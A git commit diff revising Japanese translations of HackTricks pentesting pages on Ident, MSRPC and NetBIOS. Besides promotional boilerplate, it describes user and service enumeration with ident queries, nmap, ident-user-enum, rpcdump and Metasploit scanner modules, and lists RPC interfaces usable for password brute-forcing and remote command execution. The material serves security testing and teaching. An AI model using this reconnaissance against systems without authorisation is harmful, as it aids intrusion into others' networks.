Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

This commit is contained in:
Translator 2024-02-09 08:23:12 +00:00
parent 676bffdf59
commit dfd720fbb6
111 changed files with 3359 additions and 3359 deletions

View file

@ -1,36 +1,16 @@
```markdown
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を含む[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見す * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>
# WebView プロトコルハンドラー # WebView Protocol Handlers
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を含む[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
```

View file

@ -1,42 +1,46 @@
# 113 - ペントテスト Ident # 113 - Pentesting Ident
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricks をサポートする他の方法:
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で **フォロー**する。
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに提出する。
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得 今すぐアクセスしてください
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 基本情報 ## 基本情報
特定の[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続のユーザーを識別するのに役立つ[インターネット](https://en.wikipedia.org/wiki/Internet) [プロトコル](https://en.wikipedia.org/wiki/Protocol\_\(computing\))です。 **Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。**ネットワーク管理**および**セキュリティ**を支援するために設計されたもので、特定のTCP接続のユーザーに関する情報をリクエストするために、サーバーがポート113でクライアントにクエリを許可することによって動作します。
**デフォルトポート:** 113 しかし、現代のプライバシー上の懸念や誤用の可能性により、権限のない者にユーザー情報を誤って明らかにする可能性があるため、その使用は減少しています。これらのリスクを緩和するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されています。
**デフォルトポート:** 113
``` ```
PORT STATE SERVICE PORT STATE SERVICE
113/tcp open ident 113/tcp open ident
``` ```
## **列挙** ## **列挙**
### **手動 - ユーザーの取得/サービスの識別** ### **手動 - ユーザーを取得/サービスを特定する**
マシンがidentサービスとsamba445を実行しており、ポート43218を使用してsambaに接続している場合、次のコマンドを使用してsambaサービスを実行しているユーザーを取得できます マシンがidentおよびsamba445を実行しており、ポート43218を使用してsambaに接続している場合、次のコマンドを使用してsambaサービスを実行しているユーザーを取得できます
![](<../.gitbook/assets/image (15) (1) (1).png>) ![](<../.gitbook/assets/image (15) (1) (1).png>)
サービスに接続する際にEnterキーを押すだけで、次のような結果が表示されます: サービスに接続するときに単にEnterキーを押すと、次のようになります:
![](<../.gitbook/assets/image (16) (1) (1).png>) ![](<../.gitbook/assets/image (16) (1) (1).png>)
@ -46,7 +50,7 @@ PORT STATE SERVICE
### Nmap ### Nmap
デフォルトでは(-sC、nmapは実行中のすべてのポートのすべてのユーザーを識別します: デフォルトでは(`-sC`、nmapは実行中のすべてのポートのすべてのユーザーを特定します。
``` ```
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -63,7 +67,7 @@ PORT STATE SERVICE VERSION
``` ```
### Ident-user-enum ### Ident-user-enum
Ident-user-enumは、ターゲットシステムの各TCPポートでリッスンしているプロセスの所有者を特定するためにidentサービス113/TCPにクエリを送信するためのシンプルなPERLスクリプトです。収集されたユーザ名のリストは、他のネットワークサービスへのパスワード推測攻撃に使用することができます。`apt install ident-user-enum`を使用してインストールすることができます。 [**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum)は、ターゲットシステムの各TCPポートでリッスンしているプロセスの所有者を特定するためにidentサービス113/TCPにクエリを送信するためのシンプルなPERLスクリプトです。収集されたユーザ名のリストは、他のネットワークサービスへのパスワード推測攻撃に使用できます。`apt install ident-user-enum`を使用してインストールできます。
``` ```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -81,10 +85,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf identd.conf
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得 今すぐアクセスしてください
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -98,7 +102,7 @@ Entry_1:
Name: Notes Name: Notes
Description: Notes for Ident Description: Notes for Ident
Note: | Note: |
Is an Internet protocol that helps identify the user of a particular TCP connection. The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident https://book.hacktricks.xyz/pentesting/113-pentesting-ident
@ -109,12 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
</details> </details>

View file

@ -1,4 +1,4 @@
# 135, 593 - MSRPCのペンテス # 135, 593 - MSRPCのペンテスティング
<details> <details>
@ -9,23 +9,23 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
**最新のアナウンス**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう 最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手する
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!
@ -45,7 +45,7 @@ RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139
## **公開されたRPCサービスの特定** ## **公開されたRPCサービスの特定**
RPCロケーターサービスと個々のエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開特定できます。rpcdumpなどのツールを使用すると、**IFID**値によって示される一意のRPCサービスを特定し、サービスの詳細と通信バインディングを明らかにすることができます。 RPCロケーターサービスと個々のエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開特定できます。rpcdumpなどのツールを使用すると、**IFID**値によって示される一意のRPCサービスを特定し、サービスの詳細と通信バインディングを明らかにすることができます。
``` ```
D:\rpctools> rpcdump [-p port] <IP> D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 **IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -53,7 +53,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000 UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028] Binding: ncadg_ip_udp:<IP>[1028]
``` ```
RPCロケーターサービスへのアクセスは、特定のプロトコルを介して有効になっています: ポート135を介してアクセスするためのncacn_ip_tcpおよびncadg_ip_udp、SMB接続のためのncacn_np、WebベースのRPC通信のためのncacn_httpです。次のコマンドは、Metasploitモジュールを使用してMSRPCサービスを監査および操作する方法を示しています。主にポート135に焦点を当てています: RPCロケーターサービスへのアクセスは、特定のプロトコルを介して有効になっています: ポート135を介してアクセスするためのncacn_ip_tcpおよびncadg_ip_udp、SMB接続のためのncacn_np、WebベースのRPC通信のためのncacn_http。次のコマンドは、Metasploitモジュールを使用してMSRPCサービスを監査および操作する例ですが、主にポート135に焦点を当てています:
```bash ```bash
use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden use auxiliary/scanner/dcerpc/hidden
@ -61,51 +61,51 @@ use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135 rpcdump.py <IP> -p 135
``` ```
すべてのオプションは、`tcp_dcerpc_auditor` を除いて、ポート135上のMSRPCをターゲットにするために特別に設計されています。 すべてのオプションは、`tcp_dcerpc_auditor`を除いて、ポート135上のMSRPCをターゲットにするために特別に設計されています。
#### 注目すべきRPCインターフェース #### 注目すべきRPCインターフェース
**IFID**: 12345778-1234-abcd-ef00-0123456789ab * **IFID**: 12345778-1234-abcd-ef00-0123456789ab
**Named Pipe**: \pipe\lsarpc * **Named Pipe**: `\pipe\lsarpc`
**Description**: ユーザーを列挙するために使用されるLSAインターフェース。 * **Description**: ユーザーを列挙するために使用されるLSAインターフェース。
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5 * **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
**Named Pipe**: \pipe\lsarpc * **Named Pipe**: `\pipe\lsarpc`
**Description**: ドメインと信頼関係を列挙するために使用されるLSAディレクトリサービスDSインターフェース。 * **Description**: ドメインと信頼関係を列挙するために使用されるLSAディレクトリサービスDSインターフェース。
**IFID**: 12345778-1234-abcd-ef00-0123456789ac * **IFID**: 12345778-1234-abcd-ef00-0123456789ac
**Named Pipe**: \pipe\samr * **Named Pipe**: `\pipe\samr`
**Description**: アカウントロックアウトポリシーに関係なく、パブリックSAMデータベース要素ユーザー名にアクセスし、ユーザーパスワードを総当たり攻撃するために使用されるLSA SAMRインターフェース。 * **Description**: アカウントロックアウトポリシーに関係なく、パブリックSAMデータベース要素ユーザー名にアクセスし、ユーザーパスワードを総当たり攻撃するために使用されるLSA SAMRインターフェース。
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b * **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
**Named Pipe**: \pipe\atsvc * **Named Pipe**: `\pipe\atsvc`
**Description**: コマンドをリモートで実行するために使用されるタスクスケジューラ。 * **Description**: コマンドをリモートで実行するために使用されるタスクスケジューラ。
**IFID**: 338cd001-2244-31f1-aaaa-900038001003 * **IFID**: 338cd001-2244-31f1-aaaa-900038001003
**Named Pipe**: \pipe\winreg * **Named Pipe**: `\pipe\winreg`
**Description**: システムレジストリにアクセスして変更するために使用されるリモートレジストリサービス。 * **Description**: システムレジストリにアクセスして変更するために使用されるリモートレジストリサービス。
**IFID**: 367abb81-9844-35f1-ad32-98f038001003 * **IFID**: 367abb81-9844-35f1-ad32-98f038001003
**Named Pipe**: \pipe\svcctl * **Named Pipe**: `\pipe\svcctl`
**Description**: サービスコントロールマネージャーおよびサーバーサービスで、サービスのリモート起動と停止、およびコマンドの実行に使用されます * **Description**: サービスコントロールマネージャーおよびサーバーサービスをリモートで開始および停止し、コマンドを実行するために使用される
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188 * **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
**Named Pipe**: \pipe\srvsvc * **Named Pipe**: `\pipe\srvsvc`
**Description**: サービスコントロールマネージャーおよびサーバーサービスで、サービスのリモート起動と停止、およびコマンドの実行に使用されます * **Description**: サービスコントロールマネージャーおよびサーバーサービスをリモートで開始および停止し、コマンドを実行するために使用される
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 * **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
**Named Pipe**: \pipe\epmapper * **Named Pipe**: `\pipe\epmapper`
**Description**: DCOMインターフェースで、WMを介した情報収集と総当たりパスワード攻撃に使用されます * **Description**: DCOMインターフェースで、WMを介してパスワードを総当たり攻撃し、情報収集に使用される
### IPアドレスの特定 ### IPアドレスの特定
[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver) を使用すると、_**IOXIDResolver**_ インターフェース内の _**ServerAlive2**_ メソッドを悪用することが可能です。 [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)を使用すると、_**ServerAlive2**_メソッドを悪用して、_**IOXIDResolver**_インターフェース内から**IPv6**アドレス情報を取得できます。
このメソッドは、HTBボックス _APT_ から **IPv6** アドレスのインターフェース情報を取得するために使用されています。詳細は[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)の0xdf APT解説を参照してください。また、[Impacket](https://github.com/SecureAuthCorp/impacket/) rpcmap.py を使用した代替方法も含まれています。 このメソッドは、HTBボックス_APT_から**IPv6**アドレス情報を取得するために使用されています。0xdf APTの解説は[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。また、_stringbinding_を使用した[Impacket](https://github.com/SecureAuthCorp/impacket/)のrpcmap.pyを使用した代替方法も含まれています。
## ポート593 ## ポート593
[https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) の **rpcdump.exe**このポートとやり取りできます。 **rpctools**からの**rpcdump.exe**は、このポートとやり取りできます。
## 参考文献 ## 参考文献
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) * [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
@ -114,7 +114,7 @@ rpcdump.py <IP> -p 135
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
@ -125,4 +125,4 @@ rpcdump.py <IP> -p 135
**最新の発表**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** **[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!

View file

@ -1,33 +1,37 @@
# 137,138,139 - ペントエスティング NetBios # 137,138,139 - ペンスティング NetBios
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricks をサポートする他の方法:
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
</details> </details>
## NetBios名前サービス ## NetBios 名前サービス
* 名前登録と解決のための名前サービスポート137/udpおよび137/tcp **NetBIOS 名前サービス** は、**名前登録と解決**、**データグラム配布**、**セッションサービス** など、さまざまなサービスに関与し、各サービスに特定のポートを利用します。
* 接続なし通信のためのデータグラム配布サービスポート138/udp
* 接続指向通信のためのセッションサービスポート139/tcp [ウィキペディアより](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* 名前登録と解決のための名前サービス(ポート: 137/udp および 137/tcp
* 接続レス通信のためのデータグラム配布サービス(ポート: 138/udp
* 接続指向通信のためのセッションサービス(ポート: 139/tcp
### 名前サービス ### 名前サービス
